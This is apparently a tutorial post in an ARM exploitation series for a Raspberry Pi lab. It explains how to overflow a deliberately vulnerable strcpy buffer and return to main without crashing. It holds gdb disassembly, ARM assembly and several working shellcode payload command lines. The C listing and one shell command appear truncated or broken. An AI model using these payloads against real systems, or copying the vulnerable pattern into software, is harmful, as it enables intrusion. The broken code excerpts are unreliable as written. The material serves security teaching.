ARM Exploitation with Raspberry Pi: Return Back to Program without Crashing

4 minute read

In the previous post we have seen how to exploit using simple stack-based buffer overflow.

ARM Exploitation with Raspberry Pi: Basic Stack Overflow

However, in that post, we exploited the stack using a shellcode and later the program crashed. What if we executed some basic instructions and then return back to the main program as if nothing happened?

In this post, we will learn how to return back to the main program without crashing (avoid segmentation fault) even after we are overflowing the buffer.

Here, we will use the same C program that we used before.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// This is our vulnerable function
void vulnerable(char *arg) {
    char buff[100];
    // to print return address
    strcpy(buff, arg);

// Pass argument in the vulnerable function
int main(int argc, char *argv[]) {
    return 0;


The first thing we need to know is the original return address. We can simply find the return address by disassembling the main program.

gef➤  disass main
Dump of assembler code for function main:
   0x000104f4 <+0>:		push	{r11, lr}
   0x000104f8 <+4>:		add	r11, sp, #4
   0x000104fc <+8>:		sub	sp, sp, #8
   0x00010500 <+12>:	str	r0, [r11, #-8]
   0x00010504 <+16>:	str	r1, [r11, #-12]
   0x00010508 <+20>:	ldr	r3, [r11, #-12]
   0x0001050c <+24>:	add	r3, r3, #4
   0x00010510 <+28>:	ldr	r3, [r3]
   0x00010514 <+32>:	mov	r0, r3
   0x00010518 <+36>:	bl	0x104b4 <vulnerable>
   0x0001051c <+40>:	mov	r3, #0
   0x00010520 <+44>:	mov	r0, r3
   0x00010524 <+48>:	sub	sp, r11, #4
   0x00010528 <+52>:	pop	{r11, pc}
End of assembler dump.

Here, we see, after the main functions calls vulnerable at address 0x00010518, it returns back to the main at 0x0001051c.

So, after performing the strcpy in the vulnerable function, if we can return back to the original address, we can avoid the segmentation fault.

Note: usually, after overflowing the buffer and overwriting the original return address with the one points at NOP inside the same buffer, the program crashes as it no longer contains the original address.

Now, here, we will discuss two different ways to return back to the original program.

  1. Return Using Program Counter
  2. Return Using Linking Register

Here, the payload will look like as follows:

payload = NOP + shellcode + original return address 
		+ padding + overwritten return address pointing NOP 

Return Using Program Counter

Here, we can simply load the return address in the Program Counter and the PC will point back to the main program.

Assembly Code

Here is the instruction set that loads the address in PC.

.globl _start
	ADD R11, SP, #12
	LDR R1, [PC, #4]
	SUB PC, R1, #0x01000000

# as testf.s -o testf.o && ld -N testf.o -o testf

Point to be noted, we have the return address as 0x0001051c, which have a NULL byte. So, we cannot simply use the instruction LDR PC, [PC, #4]. To remove it, first we load the address without null byte in register R1 and then we subtract whatever we added to remove the NULL byte.

In ARM, the PC by default points to the instruction position by 8 Bytes from the current instruction. So, if we use PC, #4, that means we will have to use 4 Bytes of padding before we put the address in Little Endian format.

Using the first instruction, we fixed the frame address as it changes by 12 Bytes when it executes our shellcode. It may vary depending on the system you use.

Shell Code

Now, we will generate the shellcode of the binary file as follows.

pi@raspberry$ ./ testf

Note that, the code of the script named is available in the first post of our exploitation tutorial series.

See post: ARM Exploitation with Raspberry Pi: Lab Setup


Let’s first disassemble the vulnerable function

gef➤  disassemble vulnerable
Dump of assembler code for function vulnerable:
   0x000104b4 <+0>:		push	{r11, lr}
   0x000104b8 <+4>:		add	r11, sp, #4
   0x000104bc <+8>:		sub	sp, sp, #112	; 0x70
   0x000104c0 <+12>:	str	r0, [r11, #-112]	; 0xffffff90
   0x000104c4 <+16>:	sub	r3, r11, #104	; 0x68
   0x000104c8 <+20>:	mov	r1, r3
   0x000104cc <+24>:	ldr	r0, [pc, #28]	; 0x104f0 <vulnerable+60>
   0x000104d0 <+28>:	bl	0x10354 <printf@plt>
   0x000104d4 <+32>:	sub	r3, r11, #104	; 0x68
   0x000104d8 <+36>:	ldr	r1, [r11, #-112]	; 0xffffff90
   0x000104dc <+40>:	mov	r0, r3
   0x000104e0 <+44>:	bl	0x10360 <strcpy@plt>
   0x000104e4 <+48>:	nop			; (mov r0, r0)
   0x000104e8 <+52>:	sub	sp, r11, #4
   0x000104ec <+56>:	pop	{r11, pc}
   0x000104f0 <+60>:			; <UNDEFINED> instruction: 0x000105b8
End of assembler dump.

Now, let’s take the breakpoint at the last instruction that returns back to the main function.

gef➤  b *0x000104ec
Breakpoint 1 at 0x104ec

Now, let’s exploit using the following payload:

gef➤ run $(python -c 'print "\x01\x10\xa0\xe1"*20+"\x0c\xb0\x8d\xe2\x04\x10\x9f\xe5\x01\xf4\x41\xe2" + "AAAA"+ "\x1c\x05\x01\x01" + "JUNK"+ "\xd8\xf3\xff\x7e"')

Now, we can check the register contents and step by step instruction execution using the stepi command.

Execution in Terminal

If succeed using the debugger, we can now test in the terminal.

pi@raspberry$ ./buf $(python -c 'print "\x01\x10\xa0\xe1"*20+"\x0c\xb0\x8d\xe2\x04\x10\x9f\xe5\x01\xf4\x41\xe2" + "AAAA"+ "\x1c\x05\x01\x01" + "JUNK"+ "\x6c\xf4\xff\x7e"')

One thing to remember, the address of the buffer may change outside gdb. So, first check the address printed while running the program.

Return Using Linking Register

As LR contains the return address, we can also load the original address again in the LR and then branch (BX) to it. Here, follow the similar steps we discussed above.

Assembly Instruction

.globl _start
	ADD R11, SP, #12
	LDR LR, [PC, #4]
	SUB LR, LR, #0x01000000

# as testa.s -o testa.o && ld -N testa.o -o testa




gef> run $(python -c 'print "\x01\x10\xa0\xe1"*20+"\x0c\xb0\x8d\xe2\x04\xe0\x9f\xe5\x01\xe4\x4e\xe2\x1e\xff\x2f\xe1"+ "\x1c\x05\x01\x01" + "JUNK"+ "\xd8\xf3\xff\x7e"')

Execution in Terminal

./buf $(python -c 'print "\x01\x10\xa0\xe1"*20+"\x0c\xb0\x8d\xe2\x04\xe0\x9f\xe5\x01\xe4\x4e\xe2\x1e\xff\x2f\xe1"+ "\x1c\x05\x01\x01" + "JUNK"+ "\x7c\xf4\xff\x7e"')

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